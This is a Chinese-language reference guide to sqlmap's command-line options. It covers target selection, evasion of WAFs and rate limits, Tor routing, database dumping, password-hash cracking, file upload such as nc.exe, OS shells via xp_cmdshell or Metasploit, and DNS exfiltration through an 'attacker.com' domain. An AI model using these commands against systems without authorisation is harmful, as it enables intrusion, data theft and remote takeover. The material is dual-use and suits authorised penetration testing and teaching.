sqlmap
支持的注入模式:
基于布尔的盲注:根据返回的页面内容为条件判断真假的注入;
基于时间的盲注:不能根据页面返回内容判断任何信息。用条件语句加入延时函数,通过页面的返回时间来判断;
基于报错注入:利用页面会返回错误信息;
联合查询注入:可以使用union的情况下的注入;
堆查询注入:可以同时执行多条语句的注入。
支持的数据库:多种…
选项
1、输出等级
-v:观察sqlmap对一个点进行了怎样的常识判断以及读取数据,默认是1
0(只显示python错误以及严重的信息)
1(同时显示基本信息和警告信息)
2(同时显示debug信息)
3(同时显示注入的payload)
4(同时显示HTTP请求)
5(同时显示HTTP响应头)
6(同时显示HTTP响应页面)
2、指定目标
-d(直接链接数据库):-d “mysql://user:passwd@地址:端口/数据库名称”
-u(指定url)
-m(将多个url保存成txt文件,GET)
-r(将http头部信息保存成文件)
-g(google搜索出的结果,前100个,GET):-g “inurl:”.php?id=1’"
-x(sqlmap可以直接解析xml格式的站点地图,从中提取攻击目标,对一个网站全方位的进行注入检测,GET)
-c(从配置文件sqlmap.conf中载入攻击目标,sqlmap会解析该配置文件,按照配置执行动作)
-l(指定一个burp或者webScarab的代理日志文件,-scope可对日志文件进行过滤)
-r(用burpsuite抓包并复制到txt文件中)
3、请求
HTTP方法:–method(–method=PUT)
POST数据:–data=DATA
指定分隔符:–param-del(–param-del=’;’)
COOKIE头:
--cookie=COOKIE(cookie的默认分隔符为;)
--cookie-del(指定cookie中的分隔符)
--drop-set-cookie(若响应头中有set-cookie,sqlmap会自动设置set-cookie,并对这些cookie进行检测。若不想让sqlmap这样做,添加此参数即可)
--load-cookies(可从文件中载入netscape或wget格式的cookie)
User-Agent头:
--user-agent(HTTP会携带该值,表示访问的浏览器的信息,可手工伪造)
--random-agent(随机产生user-agent头,在user-agents.txt文件中随机选取)
Host头:
--host(可手动指定HTTP头中的host值)
referer:–referer
*额外的HTTP头:*可以在sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分割
--headers(–headers “X-A:A\nX-B:B”)
身份认证:
--auth-type(用于指定认证方式:Basic、Digest、NTLM、API)
--auth-cred(用于给出身份认证的凭证,格式是”username:password“)
基于证书的身份认证:
--auth-file(若Web服务器要求客户端提供证书则可以使用此参数指定一个PEM格式的证书文件。我们知道SSL协议的客户端认证是可选的,实践中一般都只用服务器端提供自己的证书供客户端验证,很少要求客户端提供自己的证书。)
忽略401:
--ignore-401(使用该参数忽略401错误<未认证>)
HTTP(S)代理:
--proxy(设置一个HTTP(S)代理,格式是"http(s)😕/url:port")
--proxy-cred(若代理需要认证,该参数提供认证凭证,格式是"username:password")
--proxy-file(指定一个存储着代理列表的文件,sqlmap会一次使用文件中的代理,当某个代理有任何连接问题就会被弃用换下一个)
--ignore-proxy(忽略本地代理设置)
Tor匿名网络:
--tor(自动设置使用tor代理)
--tor-type、–tor-port(手动指定参数,type:HTTP、SOCKS4、SOCKS5)
—check-tor(高度匿名性,使用该参数sqlmap会确保所有流量都走Tor代理,若Tor代理失效会发出警告)
HTTP请求之间时间延迟:
--delay(过于频繁地发送请求可能会被网站察觉或有其他不良后果。使用参数“–delay”来指定HTTP请求之间的延迟,单位为秒,类型是浮点数,如“–delay 1.5”表示延迟1.5秒。默认是没有延迟的。)
超时:
--timeout(默认为30秒)
超时后最大重试次数:
--retries(默认为3次)
随机化参数值:
--randomize(sqlmap会随机生成每次HTTP请求中参数的值,值得类型和长度依照于原始值)
用正则表达式过滤代理日志:
--scope(指定一个Python正则表达式对代理日志进行过滤,只测试符合正则表达式的目标)
*避免错误请求过多而被屏蔽:*有时服务器检测到某个客户端错误请求过多会对其进行屏蔽,而Sqlmap的测试往往会产生大量错误请求,为避免被屏蔽,可以时不时的产生几个正常请求以迷惑服务器。这里所谓的安全URL是指访问会返回200、没有任何报错的URL。相应地,Sqlmap也不会对安全URL进行任何注入测试。
--safe-url(隔一会就会访问一下的安全url)
--safe-post(访问安全url时携带的POST数据)
--safe-req(从文件中载入安全的HTTP请求)
--safe-freq(每次测试请求后都会访问一下的安全url)
关闭URL编码:
--skip-urlencode(sqlmap默认会对URL进行URL编码,使用该参数关闭编码)
*绕过CSRF保护:现在有很多网站通过在表单中添加值为随机生成的token的隐藏字段来防止CSRF攻击,Sqlmap会自动识别出这种保护方式并绕过。但自动识别有可能失效,此时就要用到这两个参数。
--csrf-token(用于指定包含token的隐藏字段名,若这个字段名不是常见的防止CSRF攻击的字段名Sqlmap可能不能自动识别出,需要手动指定。如Django中该字段名为“csrfmiddlewaretoken”,明显与CSRF攻击有关。)
--csrf–url(用于从任意的URL中回收token值。若最初有漏洞的目标URL中没有包含token值而又要求在其他地址提取token值时该参数就很有用。)
强制使用SSL:–force-ssl
在每次请求前执行特定的Python代码:
--eval( python sqlmap.py -u “http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”:每次返送请求前,Sqlmap都会依据id值重新计算hash值并更新GET请求中的hash值。)
4、优化
一键优化:
-o(添加该参数相当于同时添加下列三个优化参数:–keep-alive、–null-connection、–threads=3)
HTTP长连接:
--keep-alive(该参数让Sqlmap使用HTTP长连接。该参数与“–proxy”矛盾。)
HTTP空连接:
--null-connection(有一种特殊的HTTP请求类型可以直接获得HTTP响应的大小而不用获得HTTP响应体。显然这在布尔型盲注中可以节约很大的带宽。当然这一技术是需要服务器端支持的。该参数与“–text-only”矛盾。)
HTTP并发:
--threads(使用该参数指定Sqlmap可以达到的最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过10。)
5、注入
要测试的注入点:
-p(默认情况下Sqlmap会测试所有GET参数和POST参数,当level大于等于2时会测试cookie参数,当level大于等于3时会测试User-Agent和Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作用。)
-skip(如果不想测试某一参数则可以使用“–skip”。如设置了level为5但不想测试User-Agent和Referer,可以这样写:–level=5 --skip=“user-agent,referer”)
有时会遇到伪静态网页,动态网页会明目张胆地列出参数,如/user.php?id=1,显然参数是id值为1;但若是伪静态网页则可能这样写,如/user/1/,将参数隐藏在URL中。通常情况下Sqlmap不会对这样的伪静态网页的参数做测试,因为Sqlmap无法判断哪个是参数。若想要对这样的伪静态进行测试,只需要加上星号,告诉Sqlmap哪个是伪静态参数就行,剩下事的和GET参数没有什么区别。-u “http(s)😕/target.cc/user/1*/”
指定数据库管理系统:
--dbms(默认情况下Sqlmap会自动检测网站使用的数据库管理系统,支持:mysql、oracle、postgreSQL、SQL Server、Access、Firebird、SQLite、Sybase、SAP MaxDB、DB2,若Sqlmap自动检测失败或是不想让Sqlmao进行数据指纹检测,可以使用该参数手动指定数据库管理系统,–dbms MySQL 、–dbms Microsoft SQL Server ,如果在添加“–dbms”参数的同时还添加了“–fingerprint”,Sqlmap只会在指定的数据库管理系统内进行指纹识别。)
指定运行数据库管理系统的操作系统:
--os(默认情况下Sqlmap会自动检测运行数据库管理系统的操作系统,支持:Linux、Windows,使用该参数手动指定)
生成无效参数值时强制使用大数:
--invalid-bignum(有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。)
生成无效参数时强制使用逻辑操作符:
--invalid-logical(有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。)
生成无效参数值时强制使用字符串:
--invalid-string(有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。)
关闭payload转换:
--no-cast(在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了“–no-cast”来告诉Sqlmap不要这样做。)
关闭字符串编码:
--no-escape(有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”,这样做既可以混淆视听让人一时难以洞察,payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码。)
*定制payload:*有时只有在payload后添加用户指定的后缀才能注入成功。另一种场景是用户已经知道查询语句怎么写的,此时可以直接指定payload的前缀和后缀来完成检测和注入。
--prefix、–suffix(一个有漏洞的源码示例如下:“query = “SELECT * FROM users WHERE id=(’” . $_GET[‘id’] . “’) LIMIT 0, 1”; ” ,对这样的例子可以让Sqlmap自动检测边界范围也可以手动指出边界范围:”python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (‘abc’='abc””,最终SQL语句会变成:“SELECT * FROM users WHERE id=(‘1’) AND (‘abc’=‘abc’) LIMIT 0, 1”。在简单的测试环境下Sqlmap不需要被提供定制的边界范围就能够自动检测并完成注入,但在真实世界中某些应用可能会很复杂如嵌套JOIN查询,此时就需要为Sqlmap指明边界范围。)
修改注入数据:
--tamper(除了使用CHAR()编码字符串外Sqlmap没有对payload进行任何混淆。该参数用于对payload进行混淆以绕过IPS或WAF。该参数后跟一个tamper脚本的名字,多个tamper脚本之间用逗号隔开,tamper脚本位于sqlmap的安装目录中,也可自己编写tamper脚本)
6、检测
*检测级别:*1~5,默认为1。Sqlmap使用的payload保存xml/payloads/中,是xml格式的,可以自己定制。
-level:(2或者2以上,会尝试注入cookie参数;
3或者3以上,会尝试对user-angent、referer进行注入;
5时,会尝试对host进行注入)
*风险等级:*1~4,默认为1。
--risk(1:大多数情况下对测试目标无害;
2:添加了基于时间的注入测试;
3:添加了OR测试,若注入点是在UPDATAE语句中,使用OR测试可能会修改整个表的数据。)
*页面对比:*默认情况下在布尔型注入中Sqlmap通过比较返回页面内容来判断True或False。但有时页面每次刷新都会不同,如页面中有动态广告。Sqlmap会尽力判断出页面中动态的部分来,但并不总能成功。
--string(指出代表True的页面会包含,而代表False的页面不会包含的字符串以供sqlmap判断。若这样的字符串是变动的还可以用参数“–regexp”指定一个正则表达式去匹配这样的字符串。)
--not-string(指出代表False的页面会包含,而代表True的页面不会包含的字符串。)
--code(若是用户知道代表True的页面HTTP状态码为200而代表False的页面HTTP状态码不为200比如是401,可以用“–code”参数告诉告诉Sqlmap这一信息,如“–code=200”。)
--titles(若是用户知道代表True的页面title和代表False的页面title不同,就可以使用参数“–titles”让Sqlmap依据title来判断True或False。)
--text-only(若是HTTP响应体中有许多诸如JavaScript之类的活动内容,可以使用参数“–text-only”让Sqlmap只专注于纯文本内容。)
7、注入技术
*检测时所用技术:*指定sqlmap使用的探测技术,默认是所有方式。可以用“–technique ES”来指定使用两种检测技术。“–technique BEUSTQ”与默认情况等效。想要访问文件系统或是Windows的注册表就一定要添加“S”进行多语句查询注入测试。
-technique:(B:布尔型注入、E:报错型注入、U:可联合查询、S:可多语句查询、T:基于时间盲注)
基于时间延迟注入中延时设置:
--time-sec(用此参数设置基于时间延迟注入中延时时长,默认为5秒。)
联合查询注入中列数设置:
--union-cols(在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。可以用此参数指定列数检测范围,如“–union-cols 12-16”就会让Sqlmap的列数检测范围变成12到16。)
联合查询注入中字符设置:
--union-char(默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。因为有时使用空字符注入会失败而使用随机数会成功。使用此参数可以指定联合查询注入中使用的字符,如:“–union-char 123”。)
联合查询注入中表明设置:
--union-from(有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。用此参数指定这个表名,如:“–union-from=users”。)
DNS泄露攻击:(SQL注入中的DNS泄露攻击)
--dns-domain(假设攻击者控制着某域名(例如:attacker.com)的域名解析服务器,即查询该域名的子域名对应的IP地址都会到这台域名解析服务器来查询。这时攻击者就可以使用“–dns-domain attacker.com”来进行DNS泄露攻击。实际上若是攻击者没有控制任何一台域名解析服务器,那么她可以注册一个新域名,再自己搭建一台域名解析服务器用于接受数据。)
二阶注入攻击:
--second-order(有时注入结果显示在别的页面,此时需要用此参数指明显示注入结果的页面,该参数后跟一个URL。)
8、指纹
默认地Sqlmap会自动对注入目标进行数据库管理系统指纹识别。
-f或–fingerprint(若想执行更广泛的数据库管理系统指纹识别可以添加此参数。)
-b或–banner(若想得到更精确的指纹识别结果可以添加此参数。)
9、暴力破解
暴力破解表明:
--common-tables(有些情况下用“–tables”不能列出数据库表名来,如:版本小于5.0的MySQL没有information_schema表、微软Access的MSysObjects表默认不可读、数据库用户权限过低无法读取表名,当无法读出表名时可以使用参数“–common-tables”暴力破解表名,该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。)
暴力破解列名:
--common-columns(有些情况下用“–columns”不能列出数据库表名来,如:版本小于5.0的MySQL没有information_schema表、微软Access的MSysObjects表默认不可读、数据库用户权限过低无法读取表名,当无法读出表名时可以使用参数“–-common-columns”暴力破解表名,该参数使用的字典是txt/common-columns.txt,其中存储了常见表名,可以手动编辑该文件。)
10、列举数据
一键列举全部数据:
--all(使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。)
列举数据库管理系统信息:
-b或–banner(大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“–banner”来列举数据库管理系统的这一信息。)
列举当前用户:
--current-user(使用这一参数有可能将执行SQL语句的用户列举出来。)
列举当前数据库:
--current-db(使用这一参数有可能将WEB应用连接的数据库名列举出来。)
列举服务器主机名:
--hostname(使用这一参数有可能将数据库管理系统所在计算机的主机名列举出来。)
检测当前用户是否是管理员:
--is-dba(使用这一参数有可能能够检测当前用户是否是管理员,若是管理员则返回True,否则返回False。)
列举数据库管理系统中的用户:
--users(当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中的用户。)
列举并破解数据库管理系统用户密码Hash值:
--passwords(当前用户有读取包含了数据库管理系统中用户密码Hash值的系统表的权限时使用这一参数可以列举数据库管理系统中用户密码Hash值,并解析密码Hash格式,询问用户是否要通过密码字典的方式破解Hash值寻找出明文密码。若想只枚举特定用户的密码使用参数“-U”指定用户,可用“CU”来代表当前用户。Sqlmap会先列举用户,再列举用户密码Hash值。)
列举数据库管理系统的用户权限:
--privileges(当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。通过用户权限可以判断哪些用户是管理员。若想只枚举特定用户的权限使用参数“-U”指定用户,可用“CU”来代表当前用户。若目标是微软的SQL Server,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。若目标是微软的SQL Server,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。)
列举数据库管理系统的用户角色:
--roles(当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的角色。若想只枚举特定用户的角色使用参数“-U”指定用户,可用“CU”来代表当前用户。官方手册上说只有目标数据库管理系统是Oracle时这一功能才可用。)
列举数据库管理系统中的所有数据库:
--dbs(当前用户有读取包含了数据库管理系统中可用数据库信息的系统表的权限时使用这一参数可以列举数据库管理系统中所有数据库。)
列举数据库的所有表:
--tables(当前用户有读取包含了数据库管理系统中可用数据库中数据表信息的系统表的权限时使用参数“–tables”可以列举用参数“-D”指定的数据库中的所有数据表。 )
--exclude-sysdbs(使用参数“–exclude-sysdbs”可排除系统数据库。)
-D(参数“-D”指定数据库名。)
在Oracle中要指定TABLESPACE_NAME而不是数据库名。
列举数据表的所有列:
--columns(如权限允许,使用参数“–columns”可以列出用“-D”指定的数据库中用“-T”指定的表中的所有列的名字和数据类型。)
-D(参数“-D”指定数据库名。)
-T(参数“-T”指定表名。)
-C(用“-C”指定感兴趣的某几列这样就不用列出所有列来。)
在PostgreSQL中,数据库的名字一定是“public”或者是某个系统表 。因为在PostgreSQL中只能列举当前数据库或系统数据库中数据,而WEB应用连接的数据库别名总是“public”。
列举表中的数据:
--dump(权限允许时可以列举表中数据。若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。只使用参数“–dump”和“-D”可以一次性列举整个数据库中所有数据。)
-D(参数“-D”指定数据库名。)
-T(参数“-T”指定表名。)
-C(用“-C”指定感兴趣的某几列这样就不用列出所有列来。)
--start、–stop(若只想列举部分数据可以使用参数“–start”和“–stop”。如只想列举第一条数据可以添加“–stop 1”,只想列举第二和第三条数据可以添加“–start 1 –stop 3”,可见这是一个左开右闭区间。区间范围仅在盲注中有效,因为在基于错误信息的注入和联合查询注入中区间范围会被忽略。)
--where(可以用“–where”参数来限制列举的数据。 “–where”参数会被Sqlmap转换成WHERE子句,如“–where id>3”会只列举列id的值大于3的数据。)
列举数据库管理系统的模式:
--schema(用户可用此选项列举数据库管理系统的模式。模式列表包含所有数据库、表、列、触发器和他们各自的类型。)
--exclude-sysdbs(可使用参数“–exclude-sysdbs”排除系统数据库。)
列举表中的数据条数:
--count:(有时我们只想知道有多少数据而不想知道具体的数据内容,此时就可以使用该参数。)
列举数据库中所有表中的所有数据:
--dump-all(可列举所有数据库所有表中所有数据。)
--exclude-sysdbs(排除系统数据库。注意微软SQL Server的master数据库不属于系统数据库,因为有些管理员会在这个数据库中存储用户数据。)
在数据库、表、列中搜索:
--search(可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。参数“–search”要和下列参数之一配合使用:
-D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索
-T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索
-C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索)
在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。 默认为包含搜索,即搜索的字符串包含于结果中就认为命中。精确搜索要求搜索的字符串与结果完全相等。
运行自定义的SQL语句:
--sql-query(这一功能允许执行任意的SQL语句,Sqlmap会自动解析给出的SQL语句,选择恰当的注入技术并将给出的SQL语句打包到payload中。如果查询是个SELECT语句,Sqlmap会返回查询结果。如果Web应用使用的数据库管理系统支持多语句查询,Sqlmap会使用堆注入技术。 但要注意Web应用可能不支持堆查询,例如PHP使用Mysql时不支持堆查询,但使用PostgreSQL时支持堆查询。)
--sql-shell(提供一个交互式的SQL语句执行环境,支持Tab键补全和命令历史记录。)
11、UDF注入
UDF是“user-defined function”的缩写,UDF是一种针对MySQL和PostgreSQL的高级注入技术。
可以编译MySQL或PostgreSQL的共享库、DLL(Windows)和共享对象(Linux/Unix)并将这些文件在本机上的路径提供给Sqlmap来进行UDF注入。Sqlmap会先问一些问题然后上传UDF文件并创建UDF最后根据问题答案执行UDF。完成UDF注入后,Sqlmap会删除上传的UDF文件。
--udf-inject(添加此参数Sqlmap会在运行时询问共享库文件路径。在Sqlmap安装目录的udf目录中有许多UDF文件,按照DMBS、操作系统、位数和版本归类,可以直接使用。)
12、访问文件系统
读取文件:
--file-read(当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有读取文件相关权限时读取文件是可行的。读取的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。)
上传文件:
--file-write、–file-dest(当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有写文件相关权限时上传文件是可行的。上传的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。例如:-file-write “/software/nc.exe.packed” --file-dest “C:/WINDOWS/Temp/nc.exe” )
13、操作系统控制
*执行任意操作系统命令:*若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就能利用SQL注入执行任意的操作系统命令。
当数据库管理系统是MySQL或PostgreSQL时,Sqlmap会通过前面介绍过的文件上传功能上传一个包含用户自定义函数sys_exec()和sys_eval()的二进制共享库文件,然后创建这两个用户自定义函数,通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。
当数据库管理系统是微软的SQL Server时,Sqlmap通过存储过程xp_cmdshell来执行任意命令。若xp_cmdshell被禁用(SQL Server >= 2005时默认禁用)Sqlmap会启用它;若xp_cmdshell不存在,Sqlmap会创建它。
当用户想要看到命令执行的标准输出时,Sqlmap使用可列举的注入技术(盲注、带内和基于错误的注入),而当用户不想看到命令执行的标准输出时,堆查询注入技术将被用于执行命令。
--os-cmd
--os-shell(可以模拟一个可以执行任意命令的shell)
当堆查询不被支持(如PHP或ASP+Mysql)且数据库管理系统是MySQL时,仍然可以通过SELECT的从句INTO OUTFILE在Web所在主机的可写目录创建一个Web后门,通过这个Web后门来执行命令。Sqlmap支持这一技术并要求用户提供一些用逗号分割的可能是可写目录的路径。Sqlmap支持以下这些服务器端脚本语言:ASP、ASP.NET、JSP、PHP。
带外TCP连接:Meterpreter及相关
若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就有可能在攻击者的主机和数据库所在主机之间建立带外TCP连接。根据用户的选择,此连接可以是交互式命令shell,Meterpreter会话或图形用户界面(VNC)会话。
Sqlmap要靠Metasploit生成shellcode,在数据库所在主机执行shellcode有以下四种技术:
数据库通过Sqlmap创建的用户自定义函数sys_bineval()在内存中执行Metasploit的shellcode。支持MySQL和PostgreSQL。参数“–os-pwn”。
通过Sqlmap自己的用户自定义函数(MySQL和PostgreSQL中的sys_exec(),微软SQL Server中的xp_cmdshell())上传并执行Metasploit的“stand-alone payload stager”。参数:“–os-pwn”。
利用远程代码执行漏洞MS08-068。攻击者的机器要用Metasploit的smb_relay监听来自目标机器的连接。要求在Linux/Unix上以root权限运行Sqlmap且目标DBMS在Windows上以管理员权限运行。参数:“–os-smbrelay”
在微软SQL Server 2000和2005中可通过存储过程sp_replwritetovarbin的堆缓冲区溢出漏洞(MS09-004)在内存中执行Metasploit的shellcode。Sqlmap有自己的数据执行保护绕过技术可以成功利用漏洞,但需要Metasploit生成shellcode以便在成功利用漏洞时执行shellcode。参数:“–os-bof”。
--os-pwn、–os-smbrelay、–os-bof、–priv-esc(执行Metasploit的getsystem命令以尝试提升权限)、–msf-path、–tmp-path
python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1” --os-pwn --msf-path /software/metasploit
在Windows中Mysql默认以SYSTEM身份运行,但PostgreSQL无论是在Windows还是在Linux中都以低权限的用户postgres运行。SQLServer 2000默认以SYSTEM身份运行,但SQL Server 2005到2008大多数时间以NETWORK SERVICE身份运行,少数时候以LOCAL SERVICE身份运行。
14、Windows注册表操作
满足以下条件就可以对Windows注册表进行操作:目标数据库管理系统是运行在Windows上;目标数据库管理系统是MySQL、PostgreSQL或微软SQL Server;支持堆查询;目标数据库管理系统当前用户有足够的权限。
读Windows注册表键值:–reg-read
写Windows注册表键值:–reg-add
删除Windows注册表键值:–reg-del
辅助:
适当使用这些参数就可以在命令中添加或修改一个Windows注册表键值而不用在Sqlmap运行时以问答方式提供数据。
--reg-key(指定Windows注册表键值的路径。)
--reg-value(指定Windows注册表键值的键。)
--reg-data(指定Windows注册表键值的值。)
--reg-type(指定Windows注册表键值的值的数据类型。)
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1
15、通用选项
从SQLite文件中载入Sqlmap会话:
-s(Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参数。)
将HTTP(S)流量记录到日志文件中:
-t(该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。)
非交互模式:
--batch(使用该参数可以让Sqlmap以非交互模式运行,所有要求的输入都会取默认值。)
设置字符编码:
--charset(为正确解码数据,Sqlmap会使用Web服务器提供的信息(如HTTP头部中字符编码的设置),或是使用第三方库chardet来启发式地确定字符编码。可以使用参数“–charset”来指定字符编码,如“–charset=GBK”。)
从目标URL开始爬去目标站点:
--crawl(Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用。)
--crawl-exclude(在此参数后跟一个正则表达式可以排除不想爬取的URL。若URL匹配正则,则不被爬取。如用“–crawl-exclude=logout”来排除所有含有字符串“logout”的URL。)
设置输出CSV文件中的分隔符:
--csv-del(当数据被输出到CSV文件(–dump-format=CSV)时,默认以“,”分隔,可以使用此参数指定分隔符。如:“–csv-del=”;”。)
数据库管理系统认证凭据:
--dbms-cred(在某些情况下由于数据库管理系统当前用户权限较低从而导致动作执行失败,此时可以用此参数提供admin用户认证凭据,Sqlmap就会对执行失败的部分特地使用“run as”机制(如:微软SQL Server的OPENROWSET)以admin用户身份重新执行失败的动作。当然,得知道admin用户认证凭据才行。)
数据输出格式:
--dump-format(Sqlmap对列举的数据有三种不同的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每个数据表都被保存到一个文本文件中,一行是一条记录,以逗号分隔(或是用“–csv-del”指定分隔符)。选择HTML格式,所有数据被保存在一个HTML文件中,数据存放在一个个table中。选择SQLITE格式,所有数据被保存在一个SQLITE文件中,SQLITE中表名和结构会和原表相同。)
估计完成时间:
--eta(该参数用于显示估计的完成时间。)
刷新会话文件:
--flush-session(使用该参数可以刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。使用该参数的前提是真正理解会话文件的概念。另外一个可行的方法是手工删除会话文件。)
解析和测试表单输入字段:
--forms(除了用“-r”和“–data”来测试表单数据是否存在注入点外,还可以使用参数“–forms”来测试表单数据是否存在注入点。同时使用参数“–forms”和“-u”,Sqlmap会解析目标URL<“-u”指定的那个URL>返回页面中的表单,测试表单是否有注入点,而不对目标URL进行注入测试。)
忽略会话文件中的查询结果:
--fresh–queries(使用此参数用于忽略会话文件中的查询结果重新执行查询。)
对返回结果使用HEX函数:
--hex(非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。)
指定输出目录路径:
--output-dir(Sqlmap默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“–output-dir=/tmp”。)
从响应中解析DBMS的错误信息:
--parse-errors(若是Web应用被配置成Debug模式则很可能在HTTP响应页面中显示SQL错误信息。这些错误信息对于理解某操作失败的原因是很有用的。例如因为权限不足导致的失败错误信息是类似这样的:“Access denied for user ”。)
指定中轴列:
--pivot-column(有时(如在微软SQL Server、Sybase和SAP MaxDB中)由于缺乏类似机制不可以直接使用偏移m,n的方式列举数据表记录。在这种情况下,Sqlmap通过确定最适合的中轴列(最独特的值)来列举数据,中轴列的值稍后用于检索其他列值。如果自动选择失败就需要使用该参数手动指定中轴列,如:“–pivot-column=id”。)
保存选项到配置文件中:
--save(使用该参数可以保存Sqlmap命令行参数到配置文件中,该文件可编辑并且可以使用参数“-c”加载。配置文件是INI格式的。)
升级Sqlmap:
--update(使用此参数可以升级Sqlmap,显然,需要能够连接互联网。万一执行失败,可以在Sqlmap安装目录中执行“git pull”来升级Sqlmap。)
16、杂项
使用简写:
-z(有些参数组合是被经常用到的,如“–batch –random-agent –ignore-proxy –technique=BEU”,在Sqlmap中,提供了一种简写的方式来缩短命令长度。利用参数“-z”,每个参数都可以只写前几个字母,如“–batch”可以简写为“bat”。简写的原则是能够有所区别、对应的参数唯一就行。各个参数用逗号隔开。例如:python sqlmap.py -z “bat,randoma,ign,tec=BEU” -u “www.target.com/vuln.php?id=1”)
在成功检测到注入点时报警:
--alert(该参数用于在找到新的注入点时发出警报,后跟一个用于发出警报的命令,如 python sqlmap.py -r data.txt --alert “notify-send ‘找到漏洞了’”)
清除sqlmap创建的临时表和自定义函数:
--cleanup(强烈推荐在测试结束后使用此参数清除Sqlmap创建的临时表和自定义函数,Sqlmap会尽可能地清除数据库管理系统和文件系统上的入侵痕迹。)
检查依赖:
--dependencies(Sqlmap的有些功能依赖第三方库,在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装。python sqlmap.py --dependencies)
关闭彩色输出:–disable-coloring
指定使用Google dork结果的某页:
--gpage(使用参数“-g”时默认默认选择Google dork结果的前100条做注入测试。结合使用此参数,可以指定使用Google dork结果的某页。)
使用HTTP参数污染:
-hpp(HTTP参数污染是绕过WAF/IPS/IDS的一种技术,这一技术针对ASP/IIS和ASP.NET/IIS平台尤其有效。如果怀疑目标受WAF/IPS/IDS保护,可以尝试用此参数进行绕过。)
彻底检测WAF/IPS/IDS:
—identify-waf(Sqlmap可以识别WAF/IPS/IDS以便用户进行针对性操作(如:添加“–tamper”)。目前Sqlmap支持检测30多种不同的WAF/IPS/IDS,如Airlock和Barracuda WAF等。检测WAF的脚本可以在安装目录的waf目录中找到。)
